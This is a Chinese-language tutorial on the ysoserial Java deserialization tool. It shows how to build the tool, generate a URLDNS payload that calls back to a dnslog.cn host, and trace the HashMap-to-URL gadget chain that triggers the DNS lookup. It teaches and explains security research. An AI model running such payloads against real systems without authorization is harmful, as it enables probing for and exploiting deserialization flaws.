1.ysoserial初探
1.1 ysoserial简介
提到java反序列化首先被提到的就是这个大名鼎鼎的项目——ysoserial。该项目是一个用于生成java反序列化payload的项目。是作者在2015年在Marshalling Pickles: how deserializing objects will ruin your day大会中提出的一个工具。该工具中包含了许多java反序列化的利用链。使用该工具可以快速生成利用java反序列化漏洞的payload。
1.2 编译安装
1.下载项目
git clone https://github.com/frohoff/ysoserial.git
2.下载依赖编译成jar
mvn clean package -DskipTests
编译完成后target目录下即可找到ysoserial-*-SNAPSHOT-all.jar文件。
1.3 使用测试
1.生成一个URLDNS序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://m9utau.dnslog.cn/" > URLDNSSeri.bin
2.使用如下代码测试反序列化结果
import java.io.*;
public class TestURLDNS{
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fi = new FileInputStream("URLDNSSeri.bin");
ByteArrayOutputStream bao = new ByteArrayOutputStream();
int data=0;
while ((data=fi.read())!=-1){
bao.write(data);
}
byte[] dataBytes = bao.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(dataBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();//执行到这里的时候就会触发一个DNS请求
}
}
3.可以发现当代码读取ysoserial生成的序列化数据并进行反序列化时,确实触发了一次DNS请求。

2.URLDNS利用链分析
URLDNS是ysoserial里最简单的利用链,可以看到当生成的序列化数据被反序列化时,就会触发一个dns请求。从而我们可以简单判断出某个输入点可能存在反序列化漏洞。那么我们就从payload的生成过程开始分析。
2.1 ysoserial程序结构
从pom.xml文件中我们可以发现ysoserial的mainClass为GeneratePayload。
<mainClass>ysoserial.GeneratePayload</mainClass>
GeneratePayload.java的逻辑比较清晰,如下:
public static void main(final String[] args) {
...省略...
final String payloadType = args[0];//获取类的名字
final String command = args[1];//获取反序列化后要执行的命令
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);//获取指定的类的Class
...省略...
try {
final ObjectPayload payload = payloadClass.newInstance();//实例化指定类
final Object object = payload.getObject(command);//调用类的getObject方法
PrintStream out = System.out;
Serializer.serialize(object, out);//将反序列化结果写入System.out
...省略...
} catch (Throwable e) {
...省略...
}
2.2 URLDNS利用链代码解读
URLDNS.java代码如下:
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
//这里作者单独声明了一个SilentURLStreamHandler主要是为了复写掉getHostAddress方法,否则在 ht.put(u, url); 的时候其实也存在hash计算过程会出发dns请求。
HashMap ht = new HashMap(); //新建一个hashmap
URL u = new URL(null, url, handler); //新建一个URL类作为键
ht.put(u, url);//向HashMap中添加一个URL类型的键
Reflections.setFieldValue(u, "hashCode", -1); // 其实在put的时候就已经计算了一次hash并保存了缓存,因此这里需要先把这个hashcode替换成-1否则反序列化时将不会再计算hashCode。
return ht;
}
...省略...
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;//就是这里复写了getHostAddress方法,防止put时发出DNS请求
}
}
}
2.2.1 SilentURLStreamHandler的作用
上述代码中ht.put(u, url);时,调用了hashMap的put方法,如下:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
其中又调用了hash()方法,代码如下:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
hash方法中调用了key本身的hashCode方法,这里我们传入的key是一个URL类,因此需要查看一下URL类的hashCode()方法,其代码如下:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
当hashCode当前URL对象的hashCode!=-1的时候调用该URL对象中,handler对象(URLStreamHandler类)的hashCode方法,代码如下:
protected int hashCode(URL u) {
...省略...
// Generate the host part.
InetAddress addr = getHostAddress(u);
...省略...
而事实上,关键代码就上面这一行,他会调用getHostAddress方法,发送dns请求获取host对应的ip。因此作者声明了一个SilentURLStreamHandler类,并复写了它的getHostAddress方法,从而防止HashMap调用put时发出dns请求。如果不复写getHostAddress则触发DNS请求调用链如下:
HashMap.putVal()——》HashMap.hash()——》URL.hashCode()——》URLStreamHandler.hashCode()——》URLStreamHandler.getHostAddress()。
2.2.2 反序列化触发流程
上述生成的HashMap类中,复写了readObject方法,反序列化时会调用该readObject方法,代码如下:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
s.defaultReadObject();//执行默认ReadObject方法
...省略...
int mappings = s.readInt(); // 获取映射数量
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
...省略...
//读取keys和values,并将其put到HashMap中。
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);//可以看到,这里又是一个熟悉的putVal方法!!后续内容跟前面调用栈就是相同的了
}
}
}
循环中putVal(hash(key), key, value, false, false);代码计算每一个key的hash,前面2.2.1节中分析过URL类计算hash时最终会调用到URLStreamHandler.getHostAddress()从而发起dns请求,本条利用链至此分析结束。